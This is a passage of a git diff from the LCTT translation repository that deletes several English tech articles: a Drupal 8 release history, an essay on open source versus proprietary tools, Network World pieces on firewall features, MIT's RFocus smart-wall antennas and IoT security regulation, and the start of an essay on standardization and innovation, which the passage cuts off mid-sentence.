to avoid redundant code, and offers more security by sanitizing variables and functions. - * The Entity API, which was quite limited and a contributed module in Drupal 7, is now full-fledged and is in Drupal 8 Core. Since Drupal 8 treats everything as an "entity," the Entity API provides a standardized method of working with them. - * The CKEditor, which is a WYSIWYG (What You See Is What You Get) editor, was introduced. It allows for editing on the go, in-context editing, and previewing your changes before it gets published. - * **Drupal 8.1** - * The alpha version of the BigPipe module got introduced to Core as an experimental module. BigPipe renders Drupal 8 pages faster using methods like caching and auto-placeholder-ing. - * A Migrate UI module suite got introduced to Core as an experimental module. It makes migrating from Drupal 7 to Drupal 8 easier. - * The CKEditor now includes spell-check functionality and the ability to add optional languages in text. - * Improved testing infrastructure and support especially for Javascript interactions. - * Composer is an essential tool to manage third-party dependencies of websites and modules. With Drupal 8.1, Drupal Core and all its dependencies are now managed and packaged by Composer. - * **Drupal 8.2** - * The Place Block module is now an experimental module in Core. With this module, you can easily play around with blocks right from the web UI. Configuring and editing blogs can be done effortlessly. - * A new Content Moderation module that is based on the contributed module Workbench Moderation has been introduced as an experimental module in Core. It allows for granular workflow permissions and support. - * Content authoring experiences have been enhanced with better revision history and recovery. - * Improved page caching for 404 responses. - * **Drupal 8.3** - * The BigPipe module is now stable! - * More improvements in the CKEditor. A smooth copy-paste experience from Word, drag and drop images, and an Autogrow plugin that lets you work with bigger screen sizes and more. - * Better admin status reporting for improved administrator experience. - * The Field Layout module was added as an experimental module in Core. This module replaces the Display Suite in Drupal 7 and allows for arranging and assigning layouts to different content types. - * **Drupal 8.4** - * The 8.4 version calls for many stable releases of previously experimental modules. - * Inline Form Errors module, which was introduced in Drupal 8.0, is now stable. With this module, form errors are placed next to the form element in question, and a summary of the errors is provided on the top of the form. - * Another stable release—the DateTime Range module that allows date formats to match that of the Calendar module. - * The Layout Discovery API, which was added as an experimental module in Drupal 8.3, is now stable and ready to roll. With this module, the Layout API is added to Drupal 8 Core. It has adopted the previously popular contributed modules—Panels and Panelizer—that were used extensively to create amazing layouts. Drupal 8’s Layout initiative has ensured that you have a powerful Layout building tool right out of the box. - * The very popular Media module is added as an API for developers to be able to port a wide range of Media contributed modules from Drupal 7. For example, media modules like the Media entity, media entity document, media entity browser, media entity image, and more. However, this module is still hidden from site builders till the porting and fixing of issues are over with. - * **Drupal 8.5** - * One of the top goals that Drupal 8 set out to reach was making rich images, media integration, and asset management easier and better for content authors. It has successfully achieved this goal by adding the Media module now in Core (and it isn’t hidden anymore).  - * Content Moderation module is now stable. Defining various levels and statuses of workflow and moving them around is effortless. - * The Layout builder module is introduced as an experimental module. It gives site builders full control and flexibility to customize and built layouts from other layout components, blocks, and regions. This has been one of the top goals for Drupal 8 site builders. - * The Migrate UI module suite that was experimental in Drupal 8.1 is now considered stable. - * Big pipe module which got previously stable in version 8.5, now comes by default in the standard installation profile. All Drupal 8 sites are now faster by default. - * PHP 7.2 is here, and Drupal 8.5 now runs on it and fully supports the new features and performance improvements that it offers. - * **Drupal 8.6** - * The very helpful oEmbed format is now supported in the Drupal 8.6 Media module. The oEmbed API helps in displaying embedded content when a URL for that resource is posted. Also included within the Media module is support for embedding YouTube and Vimeo videos. - * An experimental Media Library module is now in Core. Adding and browsing multiple media is now supported and can also be customized. - * A new demo site called Umami has been introduced that demonstrates Drupal 8's Core features. This installation profile can give a new site builder a peek into Drupal’s capabilities and allows them to play around with views, fields, and pages for learning purposes. It also acts as an excellent tool for Drupal agencies to showcase Drupal 8 to its customers. - * Workspaces module is introduced as an experimental module. When you have multiple content packages that need to be reviewed (status change) and deployed, this module lets you do all of it together and saves you a lot of time. - * Installing Drupal has now gotten easier with this version. It offers two new easy ways of installing Drupal. One with a "quick start" command that only requires you to have PHP installed. In the other option, the installer automatically identifies if there has been a previous installation and lets you install it from there. - * **Drupal 8.7** - * One of the most significant additions to Drupal Core that went straight there as a stable module is the JSON:API module. It takes forward Drupal’s API-first initiative and provides an easy way to build decoupled applications. - * The Layout Builder module is now stable and better than ever before. It now even lets you work with unstructured data as well as fieldable entities. - * Media Library module gets a fresh new look with this version release. Marketers and Content editors now have it much easier with the ability to search, attach, drag, and drop media files whenever and wherever they need it. - * Fully supports PHP 7.3. - * Taxonomy and Menu items are revision-able, which means that they can be used in editorial workflows and can be assigned statuses. - * **Drupal 8.8** - * This version is going to be the last minor version of Drupal 8 where you will find new features or deprecations. The next version, Drupal 8.9, will not include any new additions but will be very similar to Drupal 9.0. - * The Media Library module is now stable and ready to use. - * Workspaces module is now enhanced to include adding hierarchical workspaces. This gives more flexibility in the hands of the content editor. It also works with the Content Moderation module now. - * Composer now receives native support and does not need external projects to package Drupal with its dependencies. You can create new projects with just a one-line command using Composer. - * Keeping its promises on making Drupal easier to learn for newbies, a new experimental module for Help Topics has been introduced. Each module, theme, and installation profile can have task-based help topics. - - - -### Opening doors to a wider set of developers - -Although Drupal was largely accepted and loved for its flexibility, resilience, and, most of all, its content management abilities, there was a nagging problem—the "deep learning curve" issue. While many Drupalers argue that the deep learning curve is part and parcel of a CMS that can build highly complex and powerful applications, finding Drupal talent is a challenge. Dries, the founder of Drupal, says, "For most people new to Drupal, Drupal 7 is really complex." He also adds that this could be because of holding on to procedural programming, large use of structured arrays, and more such "Drupalisms" (as he calls them). - -This issue needed to be tackled. With Drupal 8 adopting modern platforms and standards like object-oriented programming concepts, latest PHP standards, Symfony framework, and design patterns, the doors are now flung wide open to a broad range of talent (site builders, themes, developers). - -### Final thoughts - -"The whole of science is nothing more than a refinement of everyday thinking."– Albert Einstein. - -Open source today is more than just free software. It is a body of collaborated knowledge and effort that is revolutionizing the digital ecosystem. The digital world is moving at a scarily rapid pace, and I believe it is only innovation and perseverance from open source communities that can bring it to speed. The Drupal community unwaveringly reinvents and refines itself each day, which is especially seen in the latest release of Drupal 8. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/drupal-8-promises - -作者:[Shefali Shetty][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/shefalishetty -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/drupal_blue_gray_lead.jpeg?itok=eSkFp_ur (Drupal logo with gray and blue) -[2]: https://www.specbee.com/drupal-web-development-services diff --git a/sources/talk/20200209 Open source vs. proprietary- What-s the difference.md b/sources/talk/20200209 Open source vs. proprietary- What-s the difference.md deleted file mode 100644 index 2c6b6fce0b..0000000000 --- a/sources/talk/20200209 Open source vs. proprietary- What-s the difference.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source vs. proprietary: What's the difference?) -[#]: via: (https://opensource.com/article/20/2/open-source-vs-proprietary) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Open source vs. proprietary: What's the difference? -====== -Need four good reasons to tell your friends to use open source? Here's -how to make your case. -![Doodles of the word open][1] - -There's a lot to be learned from open source projects. After all, managing hundreds of disparate, asynchronous commits and bugs doesn't happen by accident. Someone or something has to coordinate releases, and keep all the code and project roadmaps organized. It's a lot like life. You have lots of tasks demanding your attention, and you have to tend to each in turn. To ensure everything gets done before its deadline, you try to stay organized and focused. - -Fortunately, there are [applications out there][2] designed to help with that sort of thing, and many apply just as well to real life as they do to software. - -Here are some reasons for choosing [open tools][3] when improving personal or project-based organization. - -### Data ownership - -It's rarely profitable for proprietary tools to provide you with [data][4] dumps. Some products, usually after a long battle with their users (and sometimes a lawsuit), provide ways to extract your data from them. But the real issue isn't whether a company lets you extract data; it's the fact that the capability to get to your data isn't guaranteed in the first place. It's your data, and when it's literally what you do each day, it is, in a way, your life. Nobody should have primary access to that but you, so why should you have to petition a company for a copy? - -Using an open source tool ensures you have priority access to your own activities. When you need a copy of something, you already have it. When you need to export it from one application to another, you have complete control of how the data is exchanged. If you need to export your schedule from a calendar into your kanban board, you can manipulate and process the data to fit. You don't have to wait for functionality to be added to the app, because you own the data, the database, and the app. - -### Working for yourself - -When you use open source tools, you often end up improving them, sometimes whether you know it or not. You may not (or you may!) download the source and hack on code, but you probably fall into a way of using the tool that works best for you. You optimize your interaction with the tool. The unique way you interact with your tooling creates a kind of meta-tool: you haven't changed the software, but you've adapted it and yourself in ways that the project author and a dozen other users never imagined. Everyone does this with whatever software they rely upon, and it's why sitting at someone else's computer to use a familiar software (or even just looking over someone's shoulder) often feels foreign, like you're using a different version of the application than you're used to. - -When you do this with proprietary software, you're either contributing to someone else's marketplace for free, or you're adjusting your own behavior based on forces outside your own control. When you optimize an open source tool, both the software and the interaction belong to you. - -### The right to not upgrade - -Tools change. It's the way of things. - -Change can be frustrating, but it can be crippling when a service changes so severely that it breaks your workflow. A proprietary service has and maintains every right to change its product, and you explicitly accept this by using the product. If your favorite accounting software or scheduling web app changes its interface or its output options, you usually have no recourse but to adapt or stop using the service. Proprietary services reserve the right to remove features, arbitrarily and without warning, and it's not uncommon for companies to start out with an open API and strong compatibility with open source, only to drop these conveniences once its customer base has reached critical mass. - -Open source changes, too. Changes in open source can be frustrating, too, and it can even drive users to alternative open source solutions. The difference is that when open source changes, you still own the unchanged code base. More importantly, lots of other people do too, and if there's enough desire for it, the project can be forked. There are several famous examples of this, but admittedly there are just as many examples where the demand was _not_ great enough, and users essentially had to adapt. - -Even so, users are never truly forced to do anything in open source. If you want to hack together an old version of your mission-critical service on an old distro running ancient libraries in a virtual machine, you can do that because you own the code. When a proprietary service changes, you have no choice but to follow. - -With open source, you can choose to forge your own path when necessary or follow the developers when convenient. - -### Open for collaboration - -Proprietary services can affect others in ways you may not realize. Closed source tools are accidentally insidious. If you use a proprietary product to manage your schedule or your recipes or your library, or you use a proprietary font in your graphic design or website, then the moment you need to coordinate with someone else, you are essentially forcing them to sign up for the same proprietary service because proprietary services usually require accounts. Of course, the same is sometimes true for an open source solution, but it's not common for open source products to collect and sell user data the way proprietary vendors do, so the stakes aren't quite the same. - -### Independence - -Ultimately, the open source advantage is one of independence for you and for those you want to collaborate with. Not everyone uses open source, and even if everyone did not everyone would use the exact same tool or the same assets, so there will always be some negotiation when sharing data. However, by keeping your data and projects open, you enable everyone (your future self included) to contribute. - -What steps do you take to ensure your work is open and accessible? Tell us in the comments! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/open-source-vs-proprietary - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/EDUCATION_doodles.png?itok=W_0DOMM4 (Doodles of the word open) -[2]: https://opensource.com/article/20/1/open-source-productivity-tools -[3]: https://opensource.com/tags/tools -[4]: https://opensource.com/tags/analytics-and-metrics diff --git a/sources/talk/20200210 5 firewall features IT pros should know about but probably don-t.md b/sources/talk/20200210 5 firewall features IT pros should know about but probably don-t.md deleted file mode 100644 index 7619ea5e3a..0000000000 --- a/sources/talk/20200210 5 firewall features IT pros should know about but probably don-t.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 firewall features IT pros should know about but probably don’t) -[#]: via: (https://www.networkworld.com/article/3519854/4-firewall-features-it-pros-should-know-about-but-probably-dont.html) -[#]: author: (Zeus Kerravala https://www.networkworld.com/author/Zeus-Kerravala/) - -5 firewall features IT pros should know about but probably don’t -====== -As a foundational network defense, firewalls continue to be enhanced with new features, so many that some important ones that shouldn’t be get overlooked. -Natalya Burova / Getty Images - -[Firewalls][1] continuously evolve to remain a staple of network security by incorporating functionality of standalone devices, embracing network-architecture changes, and integrating outside data sources to add intelligence to the decisions they make – a daunting wealth of possibilities that is difficult to keep track of. - -Because of this richness of features, next-generation firewalls are difficult to master fully, and important capabilities sometimes can be, and in practice are, overlooked. - -Here is a shortlist of new features IT pros should be aware of. - -**[ Also see [What to consider when deploying a next generation firewall][2]. | Get regularly scheduled insights by [signing up for Network World newsletters][3]. ]** - -### Also in this series: - - * [Cybersecurity in 2020: From secure code to defense in depth][4] (CSO) - * [More targeted, sophisticated and costly: Why ransomware might be your biggest threat][5] (CSO) - * [How to bring security into agile development and CI/CD][6] (Infoworld) - * [UEM to marry security – finally – after long courtship][7] (Computerworld) - * [Security vs. innovation: IT's trickiest balancing act][8] (CIO) - - - -## Network segmentation - -Dividing a single physical network into multiple logical networks is known as [network segmentation][9] in which each segment behaves as if it runs on its own physical network. The traffic from one segment can’t be seen by or passed to another segment. - -This significantly reduces attack surfaces in the event of a breach. For example, a hospital could put all its medical devices into one segment and its patient records into another. Then, if hackers breach a heart pump that was not secured properly, that would not enable them to access private patient information. - -It’s important to note that many connected things that make up the [internet of things][10] have older operating systems and are inherently insecure and can act as a point of entry for attackers, so the growth of IoT and its distributed nature drives up the need for network segmentation. - -## Policy optimization - -Firewall policies and rules are the engine that make firewalls go. Most security professionals are terrified of removing older policies because they don’t know when they were put in place or why. As a result, rules keep getting added with no thought of reducing the overall number. Some enterprises say they have millions of firewall rules in place. The fact is, too many rules add complexity, can conflict with each other and are time consuming to manage and troubleshoot. - -[][11] - -Policy optimization migrates legacy security policy rules to application-based rules that permit or deny traffic based on what application is being used. This improves overall security by reducing the attack surface and also provides visibility to safely enable application access. Policy optimization identifies port-based rules so they can be converted to application-based whitelist rules or add applications from a port-based rule to an existing application-based rule without compromising application availability. It also identifies over-provisioned application-based rules. Policy optimization helps prioritize which port-based rules to migrate first, identify application-based rules that allow applications that aren’t being used, and analyze rule-usage characteristics such as hit count, which compares how often a particular rule is applied vs. how often all the rules are applied. - -Converting port-based rules to application-based rules improves security posture because the organization can select the applications they want to whitelist and deny all other applications. That way unwanted and potentially malicious traffic is eliminated from the network. - -## Credential-theft prevention - -Historically, workers accessed corporate applications from company offices. Today they access legacy apps, SaaS apps and other cloud services from the office, home, airport and anywhere else they may be. This makes it much easier for threat actors to steal credentials. The Verizon [Data Breach Investigations Report][12] found that 81% of hacking-related breaches leveraged stolen and/or weak passwords. - -Credential-theft prevention blocks employees from using corporate credentials on sites such as Facebook and Twitter.  Even though they may be sanctioned applications, using corporate credentials to access them puts the business at risk. - -Credential-theft prevention works by scanning username and password submissions to websites and compare those submissions to lists of official corporate credentials. Businesses can choose what websites to allow submitting corporate credentials to or block them based on the URL category of the website. - -When the firewall detects a user attempting to submit credentials to a site in a category that is restricted, it can display a block-response page that prevents the user from submitting credentials. Alternatively, it can present a continue page that warns users against submitting credentials to sites classified in certain URL categories, but still allows them to continue with the credential submission. Security professionals can customize these block pages to educate users against reusing corporate credentials, even on legitimate, non-phishing sites. - -## DNS security - -A combination of machine learning, analytics and automation can block attacks that leverage the [Domain Name System (DNS)][13]. In many enterprises, DNS servers are unsecured and completely wide open to attacks that redirect users to bad sites where they are phished and where data is stolen. Threat actors have a high degree of success with DNS-based attacks because security teams have very little visibility into how attackers use the service to maintain control of infected devices. There are some standalone DNS security services that are moderately effective but lack the volume of data to recognize all attacks. - -When DNS security is integrated into firewalls, machine learning can analyze the massive amount of network data, making standalone analysis tools unnecessary. DNS security integrated into a firewall can predict and block malicious domains through automation and the real-time analysis that finds them.  As the number of bad domains grows, machine learning can find them quickly and ensure they don’t become problems. - -Integrated DNS security can also use machine-learning analytics to neutralize DNS tunneling, which smuggles data through firewalls by hiding it within DNS requests. DNS security can also find malware command-and-control servers.  It builds on top of signature-based systems to identify advanced tunneling methods and automates the shutdown of DNS-tunneling attacks. - -## Dynamic user groups - -It’s possible to create policies that automate the remediation of anomalous activities of workers. The basic premise is that users’ roles within a group means their network behaviors should be similar to each other. For example, if a worker is phished and strange apps were installed, this would stand out and could indicate a breach. - -Historically, quarantining a group of users was highly time consuming because each member of the group had to be addressed and policies enforced individually. With dynamic user groups, when the firewall sees an anomaly it creates policies that counter the anomoly and pushes them out to the user group. The entire group is automatically updated without having to manually create and commit policies. So, for example, all the people in accounting would receive the same policy update automatically, at once, instead of manually, one at a time. Integration with the firewall enables the firewall to distribute the policies for the user group to all the other infrastructure that requires it including other firewalls, log collectors or applications.  - -Firewalls have been and will continue to be the anchor of cyber security. They are the first line of defense and can thwart many attacks before they penetrate the enterprise network.  Maximizing the value of firewalls means turning on many of the advanced features, some of which have been in firewalls for years but not turned on for a variety of reasons. - -Join the Network World communities on [Facebook][14] and [LinkedIn][15] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3519854/4-firewall-features-it-pros-should-know-about-but-probably-dont.html - -作者:[Zeus Kerravala][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Zeus-Kerravala/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3230457/what-is-a-firewall-perimeter-stateful-inspection-next-generation.html -[2]: https://www.networkworld.com/article/3236448/lan-wan/what-to-consider-when-deploying-a-next-generation-firewall.html -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.csoonline.com/article/3519913/cybersecurity-in-2020-from-secure-code-to-defense-in-depth.html -[5]: https://www.csoonline.com/article/3518864/more-targeted-sophisticated-and-costly-why-ransomware-might-be-your-biggest-threat.html -[6]: https://www.infoworld.com/article/3520969/how-to-bring-security-into-agile-development-and-cicd.html -[7]: https://www.computerworld.com/article/3516136/uem-to-marry-security-finally-after-long-courtship.html -[8]: https://www.cio.com/article/3521009/security-vs-innovation-its-trickiest-balancing-act.html -[9]: https://www.networkworld.com/article/3016565/how-network-segmentation-provides-a-path-to-iot-security.html -[10]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[11]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[12]: https://enterprise.verizon.com/resources/reports/dbir/ -[13]: https://www.networkworld.com/article/3268449/what-is-dns-and-how-does-it-work.html -[14]: https://www.facebook.com/NetworkWorld/ -[15]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200211 Future ‘smart walls- key to IoT.md b/sources/talk/20200211 Future ‘smart walls- key to IoT.md deleted file mode 100644 index 28a4624231..0000000000 --- a/sources/talk/20200211 Future ‘smart walls- key to IoT.md +++ /dev/null @@ -1,74 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Future ‘smart walls’ key to IoT) -[#]: via: (https://www.networkworld.com/article/3519440/future-smart-walls-key-to-iot.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Future ‘smart walls’ key to IoT -====== -MIT researchers are developing a wallpaper-like material that’s made up of simple RF switch elements and can be applied to building surfaces. Using beamforming, the antenna array could potentially improve wireless signal strength nearly tenfold. -Jason Dorfman, MIT CSAIL - -IoT equipment designers shooting for efficiency should explore the potential for using buildings as antennas, researchers say. - -Environmental surfaces such as walls can be used to intercept and beam signals, which can increase reliability and data throughput for devices, according to MIT's Computer Science and Artificial Intelligence Laboratory ([CSAIL][1]). - -Researchers at CSAIL have been working on a smart-surface repeating antenna array called RFocus. The antennas, which could be applied in sheets like wallpaper, are designed to be incorporated into office spaces and factories. Radios that broadcast signals could then become smaller and less power intensive. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -“Tests showed that RFocus could improve the average signal strength by a factor of almost 10,” CSAIL's Adam Conner-Simons [writes in MIT News][3]. “The platform is also very cost-effective, with each antenna costing only a few cents.” - -The prototype system CSAIL developed uses more than 3,000 antennas embedded into sheets, which are then hung on walls. In future applications, the antennas could adhere directly to the wall or be integrated during building construction. - -“People have had things completely backwards this whole time,” the article claims. “Rather than focusing on the transmitters and receivers, what if we could amplify the signal by adding antennas to an external surface in the environment itself?” - -RFocus relies on [beamforming][4]; multiple antennas broadcast the same signal at slightly different times, and as a result, some of the signals cancel each other and some strengthen each other. When properly executed, beamforming can focus a stronger signal in a particular direction. - -[][5] - -"The surface does not emit any power of its own," the developers explain in their paper ([PDF][6]). The antennas, or RF switch elements, as the group describes them, either let a signal pass through or reflect it through software. Signal measurements allow the apparatus to define exactly what gets through and how it’s directed. - -Importantly, the RFocus surface functions with no additional power requirements. The “RFocus surface can be manufactured as an inexpensive thin ‘wallpaper’ requiring no wiring,” the group says. - -### Antenna design - -Antenna engineering is turning into a vital part of IoT development. It's one of the principal reasons data throughput and reliability keeps improving in wireless networks. - -Arrays where multiple, active panel components make up antennas, rather than a simple passive wire, as is the case in traditional radio, is an example of advancements in antenna engineering. - -[Spray-on antennas][7] (unrelated to the CSAIL work) is another in-the-works technology I've written about. In that case, flexible substrates create the antenna, which is applied in a manner that's similar to spray paint. Another future direction could be anti-laser antennas: [Reversing a laser][8], where the laser becomes an absorber of light rather than the sender of it, could allow all data-carrying energy to be absorbed, making it the perfect light-based antenna. - -Development of 6G wireless, which is projected to supersede 5G sometime around 2030, includes efforts to figure out how to directly [couple antennas to fiber][9]—the radio ends up being part of the cable, in other words. - -"We can’t get faster internet speeds without more efficient ways of delivering wireless signals," CSAIL’s Conner-Simons says. - -Join the Network World communities on [Facebook][10] and [LinkedIn][11] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3519440/future-smart-walls-key-to-iot.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.csail.mit.edu/ -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: http://news.mit.edu/2020/smart-surface-smart-devices-mit-csail-0203 -[4]: https://www.networkworld.com/article/3445039/beamforming-explained-how-it-makes-wireless-communication-faster.html -[5]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[6]: https://drive.google.com/file/d/1TLfH-r2w1zlGBbeeM6us2sg0yq6Lm2wF/view -[7]: https://www.networkworld.com/article/3309449/spray-on-antennas-will-revolutionize-the-internet-of-things.html -[8]: https://www.networkworld.com/article/3386879/anti-lasers-could-give-us-perfect-antennas-greater-data-capacity.html -[9]: https://www.networkworld.com/article/3438337/how-6g-will-work-terahertz-to-fiber-conversion.html -[10]: https://www.facebook.com/NetworkWorld/ -[11]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200211 Who should lead the push for IoT security.md b/sources/talk/20200211 Who should lead the push for IoT security.md deleted file mode 100644 index a8d028ad33..0000000000 --- a/sources/talk/20200211 Who should lead the push for IoT security.md +++ /dev/null @@ -1,75 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Who should lead the push for IoT security?) -[#]: via: (https://www.networkworld.com/article/3526490/who-should-lead-the-push-for-iot-security.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -Who should lead the push for IoT security? -====== -Industry groups and governmental agencies have been taking a stab at rules to improve the security of the internet of things, but so far there’s nothing comprehensive. -Thinkstock - -The ease with which internet of things devices can be compromised, coupled with the potentially extreme consequences of breaches, have prompted action from legislatures and regulators, but what group is best to decide? - -Both the makers of [IoT][1] devices and governments are aware of the security issues, but so far they haven’t come up with standardized ways to address them. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][2] - -“The challenge of this market is that it’s moving so fast that no regulation is going to be able to keep pace with the devices that are being connected,” said Forrester vice president and research director Merritt Maxim. “Regulations that are definitive are easy to enforce and helpful, but they’ll quickly become outdated.” - -The latest such effort by a governmental body is a proposed regulation in the U.K. that would impose three major mandates on IoT device manufacturers that would address key security concerns: - - * device passwords would have to be unique, and resetting them to factory defaults would be prohibited - * device makers would have to offer a public point of contact for the disclosure of vulnerabilities - * device makers would have to “explicitly state the minimum length of time for which the device will receive security updates” - - - -This proposal is patterned after a California law that took effect last month. Both sets of rules would likely have a global impact on the manufacture of IoT devices, even though they’re being imposed on limited jurisdictions. That’s because it’s expensive for device makers to create separate versions of their products. - -IoT-specific regulations aren’t the only ones that can have an impact on the marketplace. Depending on the type of information a given device handles, it could be subject to the growing list of data-privacy laws being implemented around the world, most notably Europe’s General Data Protection Regulation, as well as industry-specific regulations in the U.S. and elsewhere. - -The U.S. Food and Drug Administration, noted Maxim, has been particularly active in trying to address device-security flaws. For example, last year it issued [security warnings][3] about 11 vulnerabilities that could compromise medical IoT devices that had been discovered by IoT security vendor [Armis][4]. In other cases it issued fines against healthcare providers. - -**[ [Prepare to become a Certified Information Security Systems Professional with this comprehensive online course from PluralSight. Now offering a 10-day free trial!][5] ]** - -But there’s a broader issue with devising definitive regulation for IoT devices in general, as opposed to prescriptive ones that simply urge manufacturers to adopt best practices, he said. - -Particular companies might have integrated security frameworks covering their vertically integrated products – such as an [industrial IoT][6] company providing security across factory floor sensors – but that kind of security is incomplete in the multi-vendor world of IoT. - -Perhaps the closest thing to a general IoT-security standard is currently being worked on by Underwriters Laboratories (UL), the security-testing non-profit best known for its century-old certification program for electrical equipment. UL’s [IoT Security Rating Program][7] offers a five-tier system for ranking the security of connected devices – bronze, silver, gold, platinum and diamond. - -Bronze certification means that the device has addressed the most glaring security flaws, similar to those outlined in the recent U.K. and California legislations. [The higher ratings][8] include capabilities like ongoing security maintenance, improved access control and known threat testing. - -While government regulation and voluntary industry improvements can help keep future IoT systems safe, neither addresses two key issues in the IoT security puzzle – the millions of insecure devices that have already been deployed, and user apathy around making their systems as safe as possible, according to Maxim. - -“Requiring a non-default passwords is good, but that doesn’t stop users from setting insecure passwords,” he warned. “The challenge is, do customers care? Are they willing to pay extra for products with that certification?” - -Join the Network World communities on [Facebook][9] and [LinkedIn][10] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3526490/who-should-lead-the-push-for-iot-security.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.fda.gov/medical-devices/safety-communications/urgent11-cybersecurity-vulnerabilities-widely-used-third-party-software-component-may-introduce -[4]: https://www.armis.com/ -[5]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fpaths%2Fcertified-information-systems-security-professional-cisspr -[6]: https://www.networkworld.com/article/3243928/what-is-the-industrial-internet-of-things-essentials-of-iiot.html -[7]: https://ims.ul.com/iot-security-rating-levels -[8]: https://www.cnx-software.com/2019/12/30/ul-iot-security-rating-system-ranks-iot-devices-security-from-bronze-to-diamond/ -[9]: https://www.facebook.com/NetworkWorld/ -[10]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200211 Why innovation can-t happen without standardization.md b/sources/talk/20200211 Why innovation can-t happen without standardization.md deleted file mode 100644 index 53e82ccde6..0000000000 --- a/sources/talk/20200211 Why innovation can-t happen without standardization.md +++ /dev/null @@ -1,91 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why innovation can't happen without standardization) -[#]: via: (https://opensource.com/open-organization/20/2/standardization-versus-innovation) -[#]: author: (Len Dimaggio https://opensource.com/users/ldimaggi) - -Why innovation can't happen without standardization -====== -Balancing standardization and innovation is critical during times of -organizational change. And it's an ongoing issue in open organizations, -where change is constant. -![and old computer and a new computer, representing migration to new software or hardware][1] - -Any organization facing the prospect of change will confront an underlying tension between competing needs for standardization and innovation. Achieving the correct balance between these needs can be essential to an organization's success. - -Experiencing too much of either can lead to morale and productivity problems. Over-stressing standardization, for example, can have a stifling effect on the team's ability to innovate to solve new problems. Unfettered innovation, on the other hand, can lead to time lost due to duplicated or misdirected efforts. - -Finding and maintaining the correct balance between standardization and innovation is critical during times of organizational change. In this article, I'll outline various considerations your organization might make when attempting to strike this critical balance. - -### The need for standardization - -When North American beavers hear running water, they instinctively start building a dam. When some people see a problem, they look to build or buy a new product or tool to solve that problem. Technological advances make modeling business process solutions or setting up production or customer-facing systems much easier than in the past. The ease with which organizational actors can introduce new systems can occasionally, however, lead to problems. Duplicate, conflicting, or incompatible systems—or systems that, while useful, do not address a team's highest priorities—can find their way into organizations, complicating processes. - -This is where standardization can help. By agreeing on and implementing a common set of tools and processes, teams become more efficient, as they reduce the need for new development methods, customized training, and maintenance. - -Standardization has several benefits: - - * **Reliability, predictability, and 